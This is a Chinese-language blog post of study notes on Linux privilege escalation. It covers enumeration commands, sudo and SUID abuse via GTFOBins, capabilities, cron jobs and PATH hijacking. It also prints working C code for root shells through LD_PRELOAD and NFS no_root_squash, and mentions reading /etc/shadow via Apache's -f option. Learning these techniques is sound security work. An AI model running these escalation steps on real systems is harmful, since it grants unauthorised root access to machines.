linux提权基础

枚举信息

hostname

hostname 命令将返回目标机器的主机名

unname -a

输出系统信息,提供有关系统使用的内核的更多详细信息。这在搜索可能导致权限提升的潜在内核漏洞。

/proc/version

proc 文件系统 (procfs) 提供有关目标系统进程的信息。

查看/proc/version可能会为提供有关内核版本和其他数据的信息,例如是否安装了编译器(例如 GCC)。

/etc/issue

系统也可以通过查看/etc/issue文件来识别。该文件通常包含有关操作系统的一些信息,但可以轻松定制或更改。

ps命令

ps 命令是查看 Linux 系统上正在运行的进程的有效方法。

ps 将显示以下内容;

  • PID:进程ID(进程唯一)
  • TTY:用户使用的终端类型
  • 时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
  • CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

ps常用方法:

  • ps -A: 查看所有正在运行的进程
  • ps axjf:查看进程树(查看树的形成直到ps axjf下面运行)
  • ps auxaux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在的漏洞。

env

env 命令将显示环境变量

PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。

sudo -l

目标系统可以配置为允许用户以 root 权限运行一些(或全部)命令。sudo -l 命令可用于列出用户可以使用sudo运行的所有命令。

ls

ls -la 查看隐藏文件

id

id 命令将提供用户权限级别和组成员身份的一般概述。

/etc/passwd

读取/etc/passwd文件是发现系统上用户的一种简单方法。

使用 grep 查找“home”,因为真实用户很可能将他们的文件夹放在“home”目录下.

ifconfig

目标系统可能是另一个网络的枢纽点。ifconfig 命令将提供有关系统网络接口的信息.

ip route

查看存在哪些网络路由

netstat

  • netstat -a:显示所有监听端口和已建立的连接。
  • netstat -at或者 netstat -au也可以用来分别列出 TCP 或 UDP 协议。
  • netstat -l:以“监听”模式列出端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用 TCP 协议侦听的端口
  • netstat -tp: 列出服务名称和 PID 信息的连接。
  • netstat -i:显示接口统计信息。
  • netstat -ano 可以细分如下;
    • -a: 显示所有套接字
    • -n: 不解析名称
    • -o:显示计时器

find命令

  • find . -name flag1.txt: 在当前目录中找到名为“flag1.txt”的文件
  • find /home -name flag1.txt: 在 /home 目录中找到文件名“flag1.txt”
  • find / -type d -name config: 在“/”下找到名为config的目录
  • find / -type f -perm 0777:查找具有777权限的文件(所有用户可读、可写和可执行的文件)
  • find / -perm a=x: 查找可执行文件
  • find /home -user frank: 在“/home”下查找用户“frank”的所有文件
  • find / -mtime 10: 查找最近 10 天内修改过的文件
  • find / -atime 10: 查找过去 10 天内访问过的文件
  • find / -cmin -60: 查找在过去一小时(60 分钟)内更改的文件
  • find / -amin -60: 查找最近一小时(60 分钟)内的文件访问
    • find / -size 50M: 查找大小为 50 MB 的文件

可以写入或执行的文件夹和文件:

  • find / -writable -type d 2>/dev/null: 查找所有可写文件夹
  • find / -perm -222 -type d 2>/dev/null: 查找所有可写文件夹
  • find / -perm -o w -type d 2>/dev/null: 查找所有可写文件夹
  • find / -perm -o x -type d 2>/dev/null : 查找世界可执行文件夹

查找开发工具和支持的语言:

  • find / -name perl*
  • find / -name python*
  • find / -name gcc*

查找特定文件权限:

  • find / -perm -u=s -type f 2>/dev/null: 查找带有 SUID 位的文件,它允许我们以比当前用户更高的权限级别运行文件。
  • find / -user root -perm /4000 2>/dev/null

自动枚举工具:

权限提升:内核利用

  1. 识别内核版本
  2. 搜索并找到目标系统内核版本的漏洞利用代码
  3. 运行漏洞利用

权限提升:Sudo

sudo -l任何用户都可以使用该命令检查与 root 权限相关的当前情况。

https://gtfobins.github.io/是一个有价值的网站,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。

利用应用程序功能

某些应用程序不会有已知的漏洞利用。

例如,Apache2 有一个支持加载替代配置文件的选项(-f:指定替代 ServerConfigFile)。

使用此选项加载/etc/shadow文件将导致包含/etc/shadow文件。

利用 LD_PRELOAD

LD_PRELOAD 是一个允许任何程序使用共享库的函数。

如果启用了“env_keep”选项,我们可以生成一个共享库,该库将在程序运行之前加载和执行。

这个提权的步骤可以总结如下:

  1. 检查 LD_PRELOAD(使用 env_keep 选项)
  2. 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
  3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

将此代码保存为 shell.c 并使用 gcc 使用以下参数将其编译为共享对象文件

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

现在可以在启动用户可以使用 sudo 运行的任何程序时使用这个共享对象文件。

例如find

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

这将导致生成具有 root 权限的 shell。

权限提升:SUID

find / -type f -perm -04000 -ls 2>/dev/null将列出设置了 SUID 或 SGID 位的文件

将查找出的可执行文件与 GTFOBins ( https://gtfobins.github.io ) 进行比较。

权限提升:Capabilities

系统管理员可以用来提高进程或二进制文件权限级别的另一种方法是“Capabilities”。Capabilities有助于在更精细的级别上管理权限。例如,如果 SOC 分析师需要使用需要启动套接字连接的工具,普通用户将无法做到这一点。如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的能力。结果,二进制文件无需更高权限的用户即可完成其任务。

getcap 工具列出启用的功能。

当以非特权用户身份运行时,getcap -r /会产生大量错误

因此最好将错误消息重定向到 /dev/null

getcap -r / 2>/dev/null

如果我们找到任何设置的Capabilities,可以查找GTFObins来提升权限。

权限提升:Cron Jobs

Cron jobs用于在特定时间运行脚本或二进制文件,默认情况下,它们以其所有者而不是当前用户的权限运行。

如果有一个以 root 权限运行的计划任务,我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行。

任何用户都可以读取cron jobs的文件,/etc/crontab

即使删除了定时任务脚本,但 cron jobs仍然存在。
如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。在这种情况下,我们应该能够在用户的主文件夹下创建一个自定义脚本,并且它由 cron 作业运行。

权限提升:PATH

如果用户具有写入权限的文件夹位于path中,您可能会劫持应用程序以运行脚本。Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置于 shell 或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中进行搜索。(PATH是这里所说的环境变量,path是文件的位置)。

例如执行thm命令

“path”将在 PATH 下列出的文件夹中查找名为“thm”的可执行文件。

如果在 PATH 下列出了任何可写文件夹,我们可以在该目录下创建一个名为 thm 的二进制文件,并让我们的“路径”脚本运行它。由于设置了 SUID 位,此二进制文件将以 root 权限运行。

权限提升:NFS

NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件是在 NFS 服务器安装期间创建的,通常可供用户读取。

此权限提升的关键元素是可以在上面看到的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody 并剥夺任何文件以 root 权限操作。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。

枚举攻击机器的可挂载共享

showmount -e <target ip>

我们将把一个“no_root_squash”共享挂载到我们的攻击机器上并开始构建我们的可执行文件。

由于我们可以设置 SUID 位,因此将在目标系统上运行 /bin/bash 的简单可执行文件。

#include <stdio.h>
int main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

`

gcc nfs.c -o nfs -w

编译代码后,设置 SUID 位。

chmod +s nfs

运行nfs文件后,可获得root shell

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值